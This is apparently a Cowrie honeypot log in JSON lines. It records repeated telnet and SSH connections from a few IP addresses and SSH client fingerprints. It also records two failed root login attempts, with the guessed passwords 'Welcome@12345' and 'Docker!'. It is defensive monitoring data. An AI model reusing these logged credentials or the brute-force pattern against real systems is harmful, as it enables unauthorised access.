{"eventid":"cowrie.session.closed","duration":30.989910364151,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:52.072735Z","src_ip":"213.171.199.40","session":"9c74cabe6ded","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.117876529693604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:53.266004Z","src_ip":"213.171.199.40","session":"2b54a7a347cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.512054443359375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:54.205970Z","src_ip":"213.171.199.40","session":"fc70037e885b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.55.151","src_port":35966,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1b89de42139","protocol":"ssh","message":"New connection: 107.173.55.151:35966 (10.17.0.5:22) [session: f1b89de42139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:55.421639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:55.425496Z","src_ip":"107.173.55.151","session":"f1b89de42139","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:55.443530Z","src_ip":"107.173.55.151","session":"f1b89de42139","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@12345","message":"login attempt [root/Welcome@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:55.550835Z","src_ip":"107.173.55.151","session":"f1b89de42139","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:56.573329Z","src_ip":"107.173.55.151","session":"f1b89de42139","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":60482,"dst_ip":"10.17.0.5","dst_port":23,"session":"881a69722a88","protocol":"telnet","message":"New connection: 45.63.42.31:60482 (10.17.0.5:23) [session: 881a69722a88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:58.502540Z"}
{"eventid":"cowrie.session.closed","duration":0.012428760528564453,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:58.514846Z","src_ip":"45.63.42.31","session":"881a69722a88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":36282,"dst_ip":"159.203.135.109","dst_port":23,"session":"143498145fb2","protocol":"telnet","message":"New connection: 213.171.199.40:36282 (159.203.135.109:23) [session: 143498145fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:58.529727Z"}
{"eventid":"cowrie.session.closed","duration":31.098785400390625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:59.382248Z","src_ip":"213.171.199.40","session":"9ac224d13e13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":39334,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f37b19ce796","protocol":"telnet","message":"New connection: 213.171.199.40:39334 (159.203.135.109:23) [session: 1f37b19ce796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:59.455238Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":41904,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ad8bae326a5","protocol":"telnet","message":"New connection: 213.171.199.40:41904 (159.203.135.109:23) [session: 0ad8bae326a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:00.241822Z"}
{"eventid":"cowrie.session.closed","duration":35.853824853897095,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:00.859755Z","src_ip":"45.63.42.31","session":"7b3c3981b83b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":53082,"dst_ip":"10.17.0.5","dst_port":23,"session":"4add12b73228","protocol":"telnet","message":"New connection: 45.63.42.31:53082 (10.17.0.5:23) [session: 4add12b73228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:02.163390Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":46652,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc118889068c","protocol":"telnet","message":"New connection: 213.171.199.40:46652 (159.203.135.109:23) [session: cc118889068c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:02.610687Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":54046,"dst_ip":"159.203.135.109","dst_port":23,"session":"15081530a9e5","protocol":"telnet","message":"New connection: 213.171.199.40:54046 (159.203.135.109:23) [session: 15081530a9e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:03.945370Z"}
{"eventid":"cowrie.session.closed","duration":30.29776096343994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:04.138198Z","src_ip":"213.171.199.40","session":"6da1e91a4b1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85796546936035,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:06.284215Z","src_ip":"213.171.199.40","session":"91e725c14b49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.200191497802734,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:06.793326Z","src_ip":"45.63.42.31","session":"3f4a0c4a4409","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":35938,"dst_ip":"159.203.135.109","dst_port":23,"session":"73530eb20f49","protocol":"telnet","message":"New connection: 213.171.199.40:35938 (159.203.135.109:23) [session: 73530eb20f49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:07.155548Z"}
{"eventid":"cowrie.session.closed","duration":35.08193111419678,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:07.671119Z","src_ip":"45.63.42.31","session":"96a3605e26b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.79709577560425,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:07.814507Z","src_ip":"45.63.42.31","session":"a7ef5cdce143","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":40126,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebf6c7ac6b2a","protocol":"telnet","message":"New connection: 213.171.199.40:40126 (159.203.135.109:23) [session: ebf6c7ac6b2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:08.410586Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":52522,"dst_ip":"159.203.135.109","dst_port":23,"session":"60f0a14f2758","protocol":"telnet","message":"New connection: 213.171.199.40:52522 (159.203.135.109:23) [session: 60f0a14f2758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:12.048700Z"}
{"eventid":"cowrie.session.closed","duration":30.286092519760132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:12.124486Z","src_ip":"213.171.199.40","session":"8f417799a964","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":56750,"dst_ip":"159.203.135.109","dst_port":23,"session":"151d093eb04a","protocol":"telnet","message":"New connection: 213.171.199.40:56750 (159.203.135.109:23) [session: 151d093eb04a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:13.377276Z"}
{"eventid":"cowrie.session.closed","duration":30.636316299438477,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:15.121776Z","src_ip":"213.171.199.40","session":"2aa0a3e0fdd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":36408,"dst_ip":"159.203.135.109","dst_port":23,"session":"36759e566d69","protocol":"telnet","message":"New connection: 213.171.199.40:36408 (159.203.135.109:23) [session: 36759e566d69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:15.760538Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":50138,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e031d2e4942","protocol":"telnet","message":"New connection: 45.63.42.31:50138 (10.17.0.5:23) [session: 3e031d2e4942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:15.869589Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":42054,"dst_ip":"159.203.135.109","dst_port":23,"session":"cabbe8a211dd","protocol":"telnet","message":"New connection: 213.171.199.40:42054 (159.203.135.109:23) [session: cabbe8a211dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:17.470342Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":45260,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcb7363da7e9","protocol":"telnet","message":"New connection: 213.171.199.40:45260 (159.203.135.109:23) [session: bcb7363da7e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:18.516333Z"}
{"eventid":"cowrie.session.closed","duration":31.03862738609314,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:20.169142Z","src_ip":"213.171.199.40","session":"3182e15ba1f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":53196,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1c74c14a1f1","protocol":"telnet","message":"New connection: 213.171.199.40:53196 (159.203.135.109:23) [session: a1c74c14a1f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:21.163136Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":33918,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c96cce0391f","protocol":"telnet","message":"New connection: 213.171.199.40:33918 (159.203.135.109:23) [session: 7c96cce0391f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:23.945825Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":38814,"dst_ip":"159.203.135.109","dst_port":23,"session":"b94c1cdf75b5","protocol":"telnet","message":"New connection: 213.171.199.40:38814 (159.203.135.109:23) [session: b94c1cdf75b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:25.450970Z"}
{"eventid":"cowrie.session.closed","duration":30.641897916793823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:29.171530Z","src_ip":"213.171.199.40","session":"143498145fb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63327383995056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:30.088431Z","src_ip":"213.171.199.40","session":"1f37b19ce796","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.857932329177856,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:31.099628Z","src_ip":"213.171.199.40","session":"0ad8bae326a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":58876,"dst_ip":"159.203.135.109","dst_port":23,"session":"08833ffdc2db","protocol":"telnet","message":"New connection: 213.171.199.40:58876 (159.203.135.109:23) [session: 08833ffdc2db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:31.594860Z"}
{"eventid":"cowrie.session.closed","duration":30.705087900161743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:33.315592Z","src_ip":"213.171.199.40","session":"cc118889068c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.147993564605713,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:34.093253Z","src_ip":"213.171.199.40","session":"15081530a9e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":47892,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cb7859f13b3","protocol":"telnet","message":"New connection: 103.115.172.252:47892 (10.17.0.5:23) [session: 3cb7859f13b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:35.127510Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":42454,"dst_ip":"159.203.135.109","dst_port":23,"session":"56b562ce59d7","protocol":"telnet","message":"New connection: 213.171.199.40:42454 (159.203.135.109:23) [session: 56b562ce59d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:35.214122Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":42584,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ffe9113206a","protocol":"telnet","message":"New connection: 213.171.199.40:42584 (159.203.135.109:23) [session: 5ffe9113206a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:35.260351Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":49182,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f65c51519d8","protocol":"telnet","message":"New connection: 103.115.172.252:49182 (10.17.0.5:23) [session: 1f65c51519d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:36.284977Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":46374,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b6f386e5721","protocol":"telnet","message":"New connection: 213.171.199.40:46374 (159.203.135.109:23) [session: 3b6f386e5721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:36.436529Z"}
{"eventid":"cowrie.session.closed","duration":35.00530529022217,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:37.168500Z","src_ip":"45.63.42.31","session":"4add12b73228","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":50992,"dst_ip":"159.203.135.109","dst_port":23,"session":"789204148ad8","protocol":"telnet","message":"New connection: 213.171.199.40:50992 (159.203.135.109:23) [session: 789204148ad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:37.861844Z"}
{"eventid":"cowrie.session.closed","duration":31.05186653137207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:38.207302Z","src_ip":"213.171.199.40","session":"73530eb20f49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8070330619812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:39.217499Z","src_ip":"213.171.199.40","session":"ebf6c7ac6b2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":58178,"dst_ip":"159.203.135.109","dst_port":23,"session":"514913531686","protocol":"telnet","message":"New connection: 213.171.199.40:58178 (159.203.135.109:23) [session: 514913531686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:39.906507Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":37796,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e447effee1a","protocol":"telnet","message":"New connection: 213.171.199.40:37796 (159.203.135.109:23) [session: 5e447effee1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:42.239213Z"}
{"eventid":"cowrie.session.closed","duration":31.65960431098938,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:43.708176Z","src_ip":"213.171.199.40","session":"60f0a14f2758","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.665228605270386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:44.042379Z","src_ip":"213.171.199.40","session":"151d093eb04a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.55.151","src_port":52422,"dst_ip":"10.17.0.5","dst_port":22,"session":"48526dac6c4f","protocol":"ssh","message":"New connection: 107.173.55.151:52422 (10.17.0.5:22) [session: 48526dac6c4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:45.297857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:45.303092Z","src_ip":"107.173.55.151","session":"48526dac6c4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:45.343728Z","src_ip":"107.173.55.151","session":"48526dac6c4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Docker!","message":"login attempt [root/Docker!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:45.460793Z","src_ip":"107.173.55.151","session":"48526dac6c4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.5099995136261,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:46.270401Z","src_ip":"213.171.199.40","session":"36759e566d69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:46.485247Z","src_ip":"107.173.55.151","session":"48526dac6c4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.630479335784912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:48.100737Z","src_ip":"213.171.199.40","session":"cabbe8a211dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":58408,"dst_ip":"159.203.135.109","dst_port":23,"session":"39181c2107cb","protocol":"telnet","message":"New connection: 213.171.199.40:58408 (159.203.135.109:23) [session: 39181c2107cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:48.722351Z"}
{"eventid":"cowrie.session.closed","duration":31.204875707626343,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:49.721095Z","src_ip":"213.171.199.40","session":"bcb7363da7e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.35382652282715,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:52.223265Z","src_ip":"45.63.42.31","session":"3e031d2e4942","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.228103637695312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:52.391112Z","src_ip":"213.171.199.40","session":"a1c74c14a1f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":47264,"dst_ip":"159.203.135.109","dst_port":23,"session":"50ccfd5af9f0","protocol":"telnet","message":"New connection: 213.171.199.40:47264 (159.203.135.109:23) [session: 50ccfd5af9f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:53.778786Z"}
{"eventid":"cowrie.session.closed","duration":30.125486373901367,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:54.071185Z","src_ip":"213.171.199.40","session":"7c96cce0391f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.150513648986816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:56.601378Z","src_ip":"213.171.199.40","session":"b94c1cdf75b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":56204,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d85b2142b69","protocol":"telnet","message":"New connection: 45.63.42.31:56204 (10.17.0.5:23) [session: 4d85b2142b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:34:57.827231Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":44986,"dst_ip":"159.203.135.109","dst_port":23,"session":"72715695f248","protocol":"telnet","message":"New connection: 213.171.199.40:44986 (159.203.135.109:23) [session: 72715695f248]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:35:01.948738Z"}
